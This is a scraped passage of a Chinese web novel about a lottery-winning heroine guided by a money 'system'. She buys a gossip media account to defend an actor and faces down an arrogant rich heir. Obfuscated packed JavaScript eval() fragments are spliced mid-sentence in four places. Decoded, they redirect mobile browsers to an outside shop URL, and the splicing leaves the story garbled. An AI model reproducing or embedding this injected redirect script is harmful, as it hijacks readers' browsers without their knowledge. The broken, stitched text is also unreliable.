…… 施浓万万没想到。 冷叔的年薪居然有八百万! 当豪门管家也太赚钱了吧? 小丑竟是她自己! 施浓有被狠狠打击到。 这个世界的有钱人太多了。 与他们的财大气粗相比,她的一百万根本够不上格! 不过—— 俗话说得好,有差距,才有前进的动力! 这倒是空前激起了她的事业心。 施浓的眼神从震惊、挫败,渐渐转化为灼热、狂热、燥热。 啥都别说了,她要赚钱!赚钱!!赚钱!!! 【亿哥!】 施浓激情呼唤系统:【以前是我格局小,没见过世面,只拿到区区一百万就沾沾自喜、不思进取。现在的我已经深刻认识到了我的问题,所以——】 她的目光认真,语气坚定道: 【接下来还有什么赚钱的任务?请你不要怜惜我,毫不留情地砸向我吧!】 【……】 系统似乎被施浓这突如其来的‘激情’噎了下,沉默片刻道:【宿主,任务当然是有的,还有很多。你虽然成功阻止了郁森屿自杀,但并没有完全解救他。】 【你如果想解锁更多的任务奖励金额,赚到更多的钱,你可以进一步帮助郁森屿,比如帮他反黑,帮他洗清冤屈,帮他重回巅峰……当然,这些任务也不是一时片刻就能完成的——】 系统的语气一转,又回到了一百万身上。 【不如你先去把一百万的彩票给兑了吧?毕竟只有有了钱,才能很好地开展后面的任务。】 …… 系统说得对,赚钱这件事确实急不得,还是先把一百万拿到手比较妥当。 施浓蹭冷锋的车又回到了郁森屿落水的那个地方,然后在冷锋的帮助下把她的车灌满了油。 和冷锋道别后,施浓开着车直奔彩票中心。 俗话说得好,财不外露,富不显相。领彩票这么私密的事情就不能轻易让人知道她是谁、她长什么样。 施浓取出围巾,帽子,口罩,墨镜,一层层包裹,直到把自己裹得严严实实才满意。 兑钱的一整个过程还是非常顺利的。 填表、验票、核对身份、开.具.税.票和兑奖单,然后拿着兑奖单去银行。 到了银行,当施浓说明她的来意后,原本表情麻木、死气沉沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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到了选必选品的环节,看着手机界面上那一连串的口味选择—— 麻辣红汤、藤椒原汤、番茄醇汤、营养骨汤、还有泰式冬阴功汤…… 施浓大手一挥,又一次从头选到尾。 说起来不怕人笑话,但这确实是她以前穷到连麻辣烫都吃不起那段时间最想做的事情。 这么一通操作下来,也不过只花了五百大洋。 结算的时候,施浓又做了一件只有有钱人才会做的事情—— 她没有用券! 就那十块八块的券,以前的她高攀不起,现在的她嗤之以鼻。 就这个感觉,爽啊!!! 怪不得大家都想成为有钱人。 15. 花钱如流水 施浓下单的麻辣烫被商家贴心分成了五大份,每一份都是不同的口味。 五份麻辣烫在外卖小哥快马加鞭的护送下,没有一丝丝洒漏,很快便完整地送到了施浓的手里。 彼时的施浓已经回到了家里—— 一个看似高档,实则空空荡荡,几乎没有任何家具的……家。 就连空调都没有。 不过没关系,现在没有不代表一个小时后还没有。 她已经在网上下了单,新家具很快就到。 空调会有的,电视会有的,冰箱会有的——所有的一切都会有的! 啊,有钱真爽啊!!! 施浓忍不住又感慨了一次。 带着这种爽翻的心情,她打开麻辣烫,美美地开吃。 麻辣红汤的确实没辜负它的名字,又麻又辣,汤里还有一层红油,一看就让人胃口大开,非常适合就米饭一起吃。 藤椒原汤的重点突出一个麻字,口味相较于麻辣红汤的会偏清淡一点,吃完舌头麻麻的,让人半天缓不过来。 番茄醇汤的汤底浓郁,润泽缠绵,这个汤底是可以直接喝的,一口下去,味蕾直接被打开,开胃又酸甜。 营养骨汤的汤汁奶白,营养丰富,尤其是搭配上麻辣烫里面的玉米还有冬瓜后,那口味瞬间就上了一个层次。 只有泰式冬阴功汤的……施浓吃了一口便顿住了。 与前四位相比,其反差之大,让她不由地皱起眉头。 这个味道……不确定,再尝尝。 施浓又抿了一小口。 好吧,不是错觉。 这味道一如第一口一样奇怪——入口便是一股强烈的香料味,紧接着酸、辣、咸、甜轮番轰炸,五味杂陈。 很神奇的一样东西,居然能将所有的味道都揉在一起,要多诡异就有多诡异。 当然,口味因人而异,施浓也不想一棒子全部打死,更不会没有情商直呼难吃,那也太简单粗暴不礼貌了。 高情商的施浓只会优雅表示:“以后,请不要再让这个玩意出现在我的视线里!” 天凉了,研究出泰式冬阴功汤底的商家,也该破产了! …… 等施浓吃完五份麻辣烫,已经是下午两点了。 没错,是五份。 为了不浪费粮食,施浓把泰式冬阴功汤的那份麻辣烫也给吃了。 当然了,她不是直接就着冬阴功汤吃的,其中还经过了一个繁琐的过程。 具体来说就是她先把冬阴功汤里面的东西全部捞出来,用凉白开洗干净,然后再放到了冬阴功汤的其他四位老大哥的汤底里面这样吃的。 麻烦虽然是麻烦了些,但却成功拯救了她的味蕾,施浓觉得还是相当值得的。 又过了二十分钟,她在网上订的家具准时到达。 等家具全部装好后已经到了晚上,施浓洗完澡,美滋滋地在新装的一米八的大床上来回翻滚,发出一声声满足的叹息。 和现在相比,她以前过的都是什么苦日子啊。 人的欲望都是无限膨胀的。 享受着现有的美好生活,施浓并没有满足,她已经在畅享更加美好的未来了。 而实现更加美好的未来的前提是什么,毋庸置疑,更多的钱。 想到更多的钱,施浓就想起了系统的话,想起了郁森屿。 想到这里,她猛地坐起来,打开新买的平板,神情认真,开始在网上搜索郁森屿。 铺天盖地的信息涌来,好的坏的,真的假的,混杂在一起。 黑粉的辱骂、营销号的揣测、路人看戏的吃瓜表情包…… 啧,事情比施浓想的还要严重的多啊。 郁森屿在网上岂止是黑,那简直是黑透了啊。 就他这黑的程度,属于路过的狗都要停下来骂他两句的那种。 这样可不行啊。 要是这样一直黑下去,郁森屿什么时候才能洗白,而她什么时候才能拿到后续的钱呢? 施浓的眉头紧皱,脑子疯狂转动。 就在这时,平板上的营销号名字吸引了她的注意,一个大胆的想法就这样冒了出来! 在网上疯狂发布郁森屿黑料的不就是那些搞事情的营销号和狗仔嘛。 如果她……直接釜底抽薪呢? 只要她把那些爱搞事情的、疯狂给郁森屿倒油的营销号买下来,让他们变成自己人……这样,关于郁森屿的消息,岂不是她想发什么就发什么?想怎么引导就怎么引导? 这不就能从源头上掐断恶意污蔑和扭曲传播嘛! 施浓越想越兴奋,眼睛都在冒光,一拍大腿,当即对着系统激情道:“亿哥,我决定要把那几个最爱搞事、传播力最强的八卦营销号买下来!” …… 【???】 系统出现了较长时间的沉默,也不知道在想什么。 沉默半天,它认真分析道:【收购自媒体账号,成为其实际控制人,确实能在源头控制……】 “对吧对吧!”还没等系统说完,施浓兴奋地在床上打滚,“这叫用魔法打败魔法,我真是个天才……” 【……】 看着施浓激动到得意忘形的样子,系统忍不住提醒她道:【宿主,你也别把事情想的过于简单。娱乐圈的游戏,门槛很高,也很复杂,你一个从来没接触过的人……小心别玩脱,赔了夫人又折兵。】 “怕什么?” 施浓大手一挥,毫不在意道:“我现在可是拥有几十万的女人,后续还会有更多的钱,我无所畏惧。再说,娱乐圈的门槛再高能有多高,难不成眨眼间就能把我这几十万给霍霍没了?” 事实证明,没有什么是不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487095|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 只是贫穷会限制人的想象力,让人以为不可能。 瞧着施浓这副初生牛犊不怕虎的单蠢模样,系统什么话都没说,只是帮助施浓默默筛选出来了几个符合标准的、且有出手迹象的百万级粉丝娱乐八卦账号,并给出了预估收购资金—— 【第一个账号是娱乐圈放大镜,当前粉丝数328万,预估收购价八十万。娱乐显微镜以深度挖掘和独家爆料的特点闻名,特别擅长带节奏,煽动性极强,粉丝活跃度高。 第二个账号是瓜田里的猹,当前粉丝数285万,预估收购价五十八万。瓜田里的猹风格偏沙雕娱乐,粉丝粘性高,互动性强。目前已停更三个月,粉丝活跃度明显降低。 第三个账号是星闻快递,当前粉丝数412万,预估收购价一百三十万。星闻快递号称娱乐圈第一手消息集散地,粉丝数量最多,粉丝活跃度最高。】 “噗——” 看着系统列出来的那一个个明显超她预算的收购金额,施浓刚喝下去的一口水,还没进肚就成功喷了出来。 她呛得眼泪都出来了,瞳孔地震,简直不敢相信自己看到了什么,震惊得手都在颤抖。 “亿哥,你确定没手抖多打了几个零?就这么几个破账号加起来要几百万……这数字是认真的吗?” 【宿主,估值基于粉丝基数、活跃度、内容传播力、商业变现能力、品牌影响力及潜在风险综合评估,此报价绝无水分,认真的不能再认真了。】 系统的声音无比冷静,【而且我给你列出来的这几个还是老板着急出手套现的号,要不价格更高。】 “……” 施浓捂着胸口,终于深刻体会到了系统那句娱乐圈的游戏,门槛很高的含‘金’量。 她大几十万的底气到了真正需要使用的时刻,脆弱得像块苏打饼干。 施浓的一口气还没喘匀,又听见系统道:【当然,这仅仅是收购账号本身的成本。后续维持团队运营还需持续投入一定的资金。若想达到为郁森屿反黑的效果,仅收购一个账号影响力有限,建议至少收购两个。】 “……” 够了,小嘴巴,闭起来。 施浓眼前一黑,心哇凉哇凉的。 沉默良久,她盯着屏幕上那三个仿佛在冲她咧嘴笑的账号图标看了又看,又摸了摸手机银行APP的位置,内心天人交战。 犹豫再三,她最后还是咬牙切齿,带着壮士断腕的悲壮,坚定道:“买!” “但是只买一个!就给我来那个……最便宜的!” 最便宜的这几个字,硬生生被施浓喊出来了气势。 人穷不可怕,舍不得花钱也不丢脸,气势绝对不能丢!! 哪怕只花一分钱,咱都是消费者,就是上帝,就是牛啊! 都牛起来!! 系统:【……】 16. 追星女孩 说买就买。 隔天早上十点,施浓准时来到她和瓜田里的猹的运营者李察约定好的饭店。 撒娇饭店最好命—— 金碧辉煌的装修,贵气又不显俗气,金色的灯光一打,照亮了饭店门口站着的一排青春洋溢又不失漂亮的男孩们。 他们穿着统一的饭店制服,或阳光或乖巧或阳刚,风格迥异,各式各样,好一道养眼的风景线! 施浓刚走到饭店门口,就有好几个男服务员一起围了上来,热情招呼她。 “姐姐,是来吃饭的么?” “姐姐,一个人么?” “姐姐,想吃点什么呢?” “姐姐……” 不得不说,这一声接一声的姐姐,叫的施浓都忍不住……赶紧掏出了手机。 她仔细核对了半天李察发她的地址。 没走错。 施浓松了半口气。 吓死她了,她还以为她一不小心导航到某某会所了。 可是—— 施浓抬起头,再次认认真真打量了一番饭店的整体装修风格以及她身边围着的一群扑闪着大眼睛眼巴巴瞅着她的乖巧男孩们…… 这也不像是正儿八经吃饭谈事的地方啊! 娱乐圈的水,是深啊。 李察这小子……究竟是何居心?! 她可不是那种不三不四的人! …… 保险起见,施浓并不打算直接进去。 她退后几步,找了个相对不显眼的角落蹲下,直接拨通了李察的电话。 电话一接通,她开门见山。 “老实交代,你是真心实意想要和我做买卖吗?没有啥不可告人的秘密?” “……?” 听了这话,李察先是懵逼,而后还是懵逼。 “施小姐,是我哪里做的不对吗?你怎么会产生这样的疑问呢?” 施浓压着嗓子,眼神警惕地扫过饭店门口那群笑容可掬的弟弟们。 “虽然我书读得不多,只读到本科,但我书读得好啊,人还聪明,这地方……怎么看怎么不正经。你确定你不是凌云灏派来整我的?” 电话那头沉默了三秒。 李察更加懵逼了。 “凌云灏是谁???” “……” 这下换施浓沉默了。 她沉默了半天。 见她不说话,李察则继续解释道: “施小姐,你肯定是误会了。这地方就是名字起得骚气了点,服务生风格独特了点,但它真是合法合规的餐饮场所,主打的就是一个情绪价值。” “……” “圈里好些人谈事都爱来这,图个放松,也图个没人偷拍。我好几笔买卖都是在这地方谈成的,这地方还挺旺的。” 施浓将信将疑:“……真的?” “千真万确。” 李察就差指天誓日了,“您要实在不放心,这样,您就在门口等着,我出来接您。我让您亲眼看看我这张真诚的脸,到时候您就相信我了。” 施浓:“……” …… 李察的态度诚恳,不像是说假话。 施浓暂时放下了心,她又重新回到了撒娇饭店最好命的门口。 梅开二度,又一堆乖巧的男孩子热情地围了上来。 “姐姐,你又来了啊?” “姐姐,你已经想好吃什么了么?” “姐姐……” “姐姐,你可以从我们当中随便挑一个哦。被挑中的人从带你入座到为你结账,今晚将全程为你服务。” 男孩朝她抛了个Wink。 听了这话,施浓不由皱起眉头。 她抬头认真地看向这群男孩子们,表情严肃。 见她面色不好,男孩小心翼翼道:“姐姐,是哪里有问题吗?” 施浓神情认真道:“是有点问题。你的意思是——” “我只能挑一个?” “……” 领头的男孩嘴角抽动了一下。 出于职业操守,他还是保持微笑道:“……不是哦姐姐,你当然可以挑好几个,不过服务费可能会比较高呢。” “……” 一听还有服务费,施浓立马不吭声了。 天下果然没有免费的午餐。 领头的男孩见她半天没说话,扑闪着一双大眼睛,忍不住问道:“姐姐,你想好选哪个或者哪几个了么?” 施浓看他一眼,冷着脸,忍痛拒绝,“不了,我一个都不要。” “为什么姐姐,是我们不够好么?” “不是你们的错,是我突然想起来——” 施浓一本正经地胡说八道:“我对男人过敏。” “……” …… 人都是越有钱越抠。 尤其是对施浓这种本来不富裕,突然暴富但又很快会把钱花光的人来说。 娱乐圈确实是个烧金窟,她以后免不了要在这里继续砸钱,她现在又没有足够多的钱,该省自然还是要省的。 说到底,她还是太穷了! 施浓不为美色所动,一脸冷漠地略过热情洋溢的男孩们,走向领班。 领班引着她穿过装饰华丽的长廊,施浓感觉自己就像土包子进城。 终于到了“鸿运堂”包间门口,领班微笑着为她推开门。 施浓深吸一口气,迈了进去。 包间内部倒是没有外面那么浮夸,是相对正常的中式装修,只是面积很大,餐桌也大得夸张。 李察已经在里面等着了,他带着黑框眼镜,面相憨厚,看上去是个挺实诚的人。 见到她,他立刻站起身,脸上堆着笑。 简单寒暄后,两个人很快进入正题。 没多久,就谈到了价格。 施浓肯定是想少掏点,而李察则希望多卖点。 两个人利益出现矛盾,霎时间销烟四起,两人怒目而视,谁都不肯让步,气氛一时僵住。 就在这时,李察的手机突然响了。 他看了一眼屏幕,脸色肉眼可见地僵了一下,也顾不上再和施浓较劲,他迅速接起电话,快步走出包间,声音压得很低。 “王总……是,我知道,麻烦再给我点时间。等我这边手续办好,钱一到账我立刻打给您……您放心,我明白。” “……” 隐隐约约的声音传来。 施浓扒在门口,偷听得聚精会神。 俗话说得好,知己知彼,才能搞好阴险的商战。 她的对手现在明显有情况啊,她可得好好听听。 施浓一边偷听,一边还不忘活动早已经瞪酸的双眼。 价格谈判可真不容易啊。 谁能想到最遭罪的居然是她的眼睛?? 为了不输气势,刚才她差点把眼珠子都瞪出来了……为了省点钱她容易嘛! 可惜,她还没偷听到什么劲爆的内容,那边的李察就已经挂断了电话。 见状,施浓赶紧装模作样地坐回原位,就好像什么都没有发生过,她也没有跑去偷听。 回到包间的李察瞥了她一眼,并没有发现什么异常。 或许也是因为他现在自顾不暇,一个头两个大,烦得很,也根本没心情注意其他人。 与他相反,施浓倒是很有精神观察别人。 她一直在默默地观察李察。 只见李察刚回到座位就吐了口气,浑身上下还透着疲惫,就像不知道哪里来的小妖精瞬间吸光了他浑身的阳气。 施浓看在眼里,再结合那通电话,激动在心里。 真是天助她也。 看这情况,李察明显很缺钱啊。 这可是她压价的好机会! 施浓瞬间改变了策略,语气缓和了些,带着点试探性的关心道:“李老板,你是不是遇到什么难处了?” 李察被债务逼得心烦意乱,几杯酒下肚,精神有些放松,加上确实需要尽快拿到钱,便含糊地倒起了苦水。 事情是这样的—— 半年前,他为了扩大规模,跟一个小投资方签了对赌协议,保证账号数据和营收达到某个目标,结果没达成,现在对方催着他付违约金。 再加上他前期收入处理不规范,最近还被要求补税和滞纳金。 俗话说得好,祸不单行。 这不,所有的事情都赶在一起了,他现在确实急需用钱。 “我跟你说实话,我真是没办法了。不然这账号比我亲儿子还亲,不是走投无路,我哪里舍得卖啊?” 说着说着,李察一个一米八的大汉都快哭出来了。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487096|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 听到这话,施浓沉默了。 她抬眼看了看李察惨兮兮的模样,低头尴尬地摸摸鼻子,突然良心发现了点,也不太好意思继续压价。 虽说她不是什么大好人,但也不好意思在别人有难处的时候做趁火打劫的缺德事。 她看着李察,表情认真起来。 “李老板,都不容易,大家都有难的时候。这样,价格就按我们刚才说的,五十九万,我可以尽快签约打款,帮你应应急,就当交个朋友。” 李察的眼睛立刻亮了,像是看到了曙光,眼泪在眼眶中疯狂打转。 他喜极而泣,激动得一把拉住施浓的手,泪汪汪道:“施小姐,你真是帮了我大忙,太感谢了。你的大恩大德我这辈子都忘不了,就算我死了都得刻在碑上,带进坟里,就连骨灰盒都刻上你的名字……” …… 虽说过程几经周折,但好在交易顺利达成。 签完合同后,施浓和李察两个人明显都松弛了下来。 两个人都喜欢喝酒,酒量还都不错。 施浓以前是被男主控系统限制得不能喝。 李察最近是被事情压得没心情喝。 眼下,碰到了志同道合的酒友,即便交易完成,两个人也并没有着急离开,干脆在一起喝个痛快。 几杯酒下肚,话匣子也彻底打开。 两人从自媒体运营聊到娱乐圈八卦,从出轨的知名影帝聊到塌房的顶流爱豆,他俩越聊越投机,越聊越兴奋。 酒劲上头,李察甚至拍着施浓的肩膀,开始称兄道妹。 “施……施妹子!” 他舌头有点打结,“哥跟你说,这账号交到你手里,我放心!不过……哥有点好奇,你怎么突然想起来要经营这种八卦号了?” 施浓总不能说她要靠这给郁森屿反黑来赚系统的五百亿吧。 这种情况下,虽然她不想,但她也只能说假话。 “李哥,不瞒你说,其实……我是郁森屿的粉丝。” 施浓斟酌着词句,努力让自己看起来像个真情实感的追星女孩。 “我喜欢他好多年了,我相信他不是网上说的那种人。看他被黑得那么惨,我心里不好受。就想着,买个账号,发点正面内容,带带舆论,也许能帮帮他。” 郁森屿三个字一出,李察端着酒杯的手明显顿住了。 他脸上的醉意褪去几分,眼神复杂地看向施浓,嘴唇嗫嚅了几下,似乎想说什么,又有些犹豫。 施浓敏锐地察觉到他神色的变化。 “李哥,你是知道什么内幕吗?” 李察低头看着杯中晃动的液体,半天没说话。 沉默了大概有几十秒,他像是下定了某种决心,抬起头,目光里带着一种混合着感激和豁出去的复杂情绪。 “施妹子……” 他声音低沉了些。 “你人不错,够意思,在我最难的时候拉了我一把。哥……哥也不能不仗义。” 他放下酒杯,伸手拿过放在旁边的黑色背包,从内层夹袋里小心取出一个银色的U盘,轻轻推到施浓面前。 “这是?” 施浓疑惑地看着他。 李察深吸一口气。 “之前有个客户,给过我一笔钱,让我发了不少关于郁森屿的黑稿。我当时也是鬼迷心窍,为了钱没有底线。可能也是因为以前缺德事干多了,我现在才这么倒霉。” 他脸上露出愧色。 “这里面有些东西,能证明那些黑料是人为捏造、刻意放大的。本来我是不敢拿出来的,怕惹麻烦。但如果你是真心想帮他,那你就拿去。希望能帮到你,也能帮到他。就当是弥补我以前的过错,给我自己积善行德了。” 施浓:“……” 施浓:“!!!” 竟然还有意外之喜! 看着桌上那个小小的U盘,施浓心脏砰砰直跳。 她强压下内心的激动,郑重地接过U盘,紧紧握在手心:“李哥,谢谢……” 她的话还没说完,就被李察打断了。 “别说谢。”李察摆摆手,神情释然中带着一丝后怕,“我以后也不做这行了,这东西放在我这里也是个负担,该我谢谢你。” “对了,如果你以后有机会见到郁森屿,麻烦替我跟他说声对不起。” 17. 打人好爽 和李察这顿酒喝得是宾主尽欢,收获满满。 两人在撒娇饭店最好命的门口告别。 李察握着合同,眼眶微红,再三表示道:“施妹子,你以后有啥用得上哥的,尽管开口。” 施浓也笑着点头,语气爽快:“李哥你放心,真有需要帮忙的地方,我肯定不会跟你客气的。” 两人相视一笑。 就在这时,一道夹杂着明显怒气的质问声从他们背后传来。 “你们在干什么!?” 这声音太熟悉了,熟悉到让施浓条件反射性地皱起了眉。 她扭头望去。 只见凌云灏不知何时站在了不远处的走廊阴影下。 他明显喝大了,领带歪斜,衬衫扣子解开了几颗,手里死死握着手机,脸色阴沉得能拧出水来。 他的目光死死锁在施浓和李察身上,胸膛剧烈起伏,那姿态,活像是当场捉奸的怨夫。 李察被这突如其来的质问弄懵了,下意识地看向施浓。 施浓脸上的笑容早已没了踪影。 真服了。 怎么在这个时候,她还能在这个地方碰见这个傻逼? 阴魂不散啊? 晦气死了! 施浓懒得跟凌云灏纠缠,打算装作没看见,从旁边绕过去。 可凌云灏却不依不饶。 他几步冲上前,动作粗鲁,习惯性伸手想去拽施浓的胳膊来宣告主权和控制。 可这次,他却抓了个空。 施浓没像之前那么听他话、给他脸,她轻巧的一个侧身,就躲开了他。 凌云灏的脸色更难看了。 “施浓,你他妈现在真是长本事了,老子给你打了一百个电话,你聋了吗?我本来还以为你有什么事,合着你不接我电话,就是跑来这种地方跟这种人鬼混?” 他轻蔑地扫了李察一眼,眼神里的鄙夷毫不掩饰。 “施浓,就算你追不到我,退而求其次,自甘堕落,也不该找个这么上不了台面的吧?你眼光什么时候差到这种地步了??” 凌云灏身后的那群狐朋狗友很快也围了上来。 他们中的大部分人都认识施浓。 其中还有不少人更是亲眼见证了几天前施浓亲手甩了凌云灏好几个耳光后扬长而去的名场面。 虽说施浓对凌云灏的态度突然发生了翻天覆地的变化,但大多数人还是不相信她是真的放下了。 毕竟,他们可是这一路亲眼见证了施浓对凌云灏那种不抛弃、不放弃、持之以恒的卑微与深情。 就是那种凌云灏让她在雨里等俩小时,她就真能淋着大雨等足足两个小时都还不放弃的那种。 施浓一路追在凌云灏屁股后面,追了这么些年,怎么可能一夕之间说变就能变,说放下就放下? 鬼都不信! 现在看到眼前这一幕,更是坚定了他们的想法—— 施浓根本不是真的放下凌云灏,而是另辟蹊径,在这玩上套路了。 她可能也知道她以前舔狗那套行不通,凌云灏根本不愿意搭理她,于是她就换了种方式—— 吊着他、打他、骂他、处处跟他作对……虽说方法是另类了点,但男人不都吃这一套嘛! 你顺着他、宠着他,他觉得你卑微、下贱,根本都不正眼瞧你,可一旦你扇他一巴掌、往他头上浇水、鄙视他无视他看不起他,他立马就来劲。 尤其是凌云灏这种人,更是如此。 凌云灏从小养尊处优地长大,要什么有什么,所有人都宠着他、捧着他、惯着他,所以一旦有人对他的态度有那么一丁点不一样,他都会觉得新奇,因此格外来劲。 他之所以对姜至那么着迷,不也是如此嘛。 姜至从不正眼瞧他,一直拒绝他,而他越是得不到,就越是想要。 内心的征服欲一点点攀升,就到了非要不可的地步,所以才会追着人家不放。 施浓肯定也是想明白了这一点。 这不,她还演上了。 她明面上故意不接凌云灏的电话吊着他,私下里又摸准了凌云灏会在这个时间在这里出现,特意在他面前演戏,找个备胎来气他? 这一招确实高啊,拿捏到了精髓,这不凌云灏就急了。 不过话又说回来,她的路子走对了,可她找的这备胎的质量是不是有点差啊? 他们看看施浓,又看看李察,再看看凌云灏,脸上带着看好戏的玩味。 被人这么当众羞辱,李察的脸色也瞬间沉了下来。 他看了眼施浓,眼神里带着询问,似乎在问是否需要他站出来说些什么或者做些什么。 除了搞营销号,暴打傻逼什么的他也是很擅长的。 施浓朝他微微摇头,意思是没必要。 毕竟,这个世界傻逼太多了,要是碰见一个就打一个,还不得累死? 太影响心情了,而且晦气,还是算了吧。 施浓和李察两个人得过且过,不想跟傻逼论长短,可他们还不知道,他们这番互动都被他们口中的傻逼看在了眼里。 凌云灏眼睁睁看着这一男一女在他眼皮子底下眉来眼去,勾勾搭搭。 一时间,他的怒气值直线飙升。 真是不知羞耻! 凌云灏恨恨地想着。 他黑着脸,当即伸手就想把施浓拽过来。 看见他的举动,施浓眼神一凛,丝毫不惯着他。 在凌云灏靠近的瞬间,她精准地往他脚踝处一绊。 凌云灏的重心瞬间失衡,他一个趔趄向前扑去。 危险关头,还是跟他一起来的狐朋狗友们手忙脚乱拉了他一把。 看到这一幕,施浓颇为惋惜地挑了下眉。 可惜了。 没看到凌云灏当场摔个狗吃屎的精彩画面,不然一定拍照留念,设为手机屏保,每日一遍,心情舒畅,岂不妙哉? 施浓摇了摇头,满眼可惜,凌云灏则是满脸的愤怒和震惊。 ……她绊他? 就为了一个不知道从哪里来的还样样不如他的野男人……她竟然绊他??? 凌云灏不敢置信地瞪大双眼。 此时此刻,他羞愤交加,张嘴就要大骂。可还没等他开口,施浓率先出声,打断了他的话。 施浓嘴唇勾了勾,好心提醒道:“凌少爷,看在我们相识一场,给你一个忠告——这人啊,一定要好好说话,不然嘴太臭,张口就喷粪,是很容易挨揍的哦。” “……” “另外,”施浓的语气轻飘飘的,“我眼光好不好,跟谁交朋友,就不劳你费心了哈。我们又不是什么很熟的关系,多管别人的闲事,也是很容易挨揍的哦。” “……” 听到这话,凌云灏像是听到了天大的笑话。 “我们不熟?施浓,你也好意思说这话?” “这么多年,你追在我屁股后面跑,在我们凌家白吃白用白住,现在你一句不熟就给我打发了?你的良心呢?被狗吃了吗?你也不想想,要是没有我,没有我们凌家,你能有今天?就凭你,你算什么东西?!” “……” 又来了,又来了,这货带着他的PUA+道德绑架又来了! 施浓翻了个白眼。 这么多年,每次一有啥事这货就来这套,这些话她从初中听到现在,早已听得无比厌烦。 她是真的很无语啊。 在当今这个年代,更新迭代这么快的年代,所有人都卯足了劲往前冲,连猪都在进步,凌云灏这货还是老掉牙那一套……他能不能有点新意啊??? “好好好,你要这么说的话,那我们就好好掰扯掰扯。 我是在你们凌家住了几年,但你摸着良心说话,我是白吃白用白住吗?我难道没伺候你这个大少爷吗?我难道没干活吗?高中我就搬出了凌家,往后我有拿过凌家一分钱吗? 有没有你们凌家,我都能好好活着,并且活得很好。 我的身后空无一人,我有今天,靠的只是我自己,而不是任何人。 你不是想知道我算什么吗?我告诉你我算什么。” 施浓一把将他推开,毫不留情道:“我算你得不到的妈。” “……” “好儿子不挡道,麻烦让让,你挡着我呼吸新鲜空气了。” “……” …… “噗——” 人群外围,有人没忍住笑出了声。 这笑声不大,但在凌云灏听来却格外刺耳。 他猛地扭头,想看是哪个不长眼的敢笑他,却在看清那人时,脸色更加难看。 只见不远处,男人懒洋洋地倚在一辆黑色轿车旁,眼角眉梢都是笑意。 他穿着深灰色的西装,一双腿修长笔直,将西装裤舒展到几乎没有褶皱,宽肩阔胸,身姿挺拔。 他显然看到了全过程。 此刻,男人嘴角那抹尚未完全敛去的笑意和眼中毫不掩饰的兴味,就像两根针,狠狠扎进了凌云灏的心里。 连牧尧,他的死对头。 从小到大,不管是成绩、能力、长相、气度……连牧尧都稳稳压他一头。 最让凌云灏窝火的是,连他亲爹凌世铮,也经常拿连牧尧跟他对比,把他贬得什么都不是。 高中时,连牧尧曾几次三番看不惯他当众羞辱施浓,出手阻止过。 可当时的施浓,非但不领情,还对连牧尧恶语相向,把连牧尧的好心当成驴肝肺。 当时他得意极了,觉得在连牧尧面前找回了场子。 他罕见地给了施浓好脸,揽着她的肩膀,狠狠嘲笑了连牧尧的多管闲事和自作多情。 这才多久啊? 他又跑来多管闲事。 真是好了伤疤忘了疼……贱不贱啊? 凌云灏新仇旧恨涌上心头,没好气道:“你怎么在这?这没你的事!” 连牧尧慢悠悠地抬了抬眼,语气闲适道:“这路是你家的?我爱在哪就在哪,你管得着吗?” 他的唇角勾起一抹没什么温度的弧度。 “再说了,你在这大呼小叫,严重影响市容市貌,任何一位热心市民见到,都会来制裁你。” 听到这话,凌云灏非但没有生气,反而笑得很大声。 “连牧尧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487097|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你不要以为我不知道你在想什么?说得那么冠冕堂皇,你不就是想帮施浓吗?怎么,你到现在还对她感兴趣?你喜欢她啊?” 凌云灏像是终于抓住了连牧尧的什么把柄,脸上闪过一丝恶意的得意。 “说真的,你到底喜欢她什么?难不成是喜欢她当舔狗,不要脸地追在我屁股后面跑,跟个狗皮膏药似的甩也甩不掉?” 这话一出,凌云灏身旁那群狐朋狗友立刻十分捧场地发出几声刺耳的哄笑。 “可惜啊。” 凌云灏洋洋自得道:“你以前三番五次帮她,人家根本不领情啊。热脸贴冷屁股的滋味怎么样?啧,我也是那时才知道,原来我们高高在上的连牧尧,也是很有当舔狗的潜质的……” “啪——” 凌云灏的话还没说完,突如其来的一巴掌直接把他扇懵了。 更令他没想到的是,打他的人不是连牧尧,而是施浓。 他抬眼望去。 只见施浓定定地站在他面前,黑黑的眼珠盯着他,一字一句道:“凌云灏,我之前是不是说过,不好好说话,是会挨揍的?” “???” 凌云灏捂着右脸,双眼赤红,怒瞪着施浓。 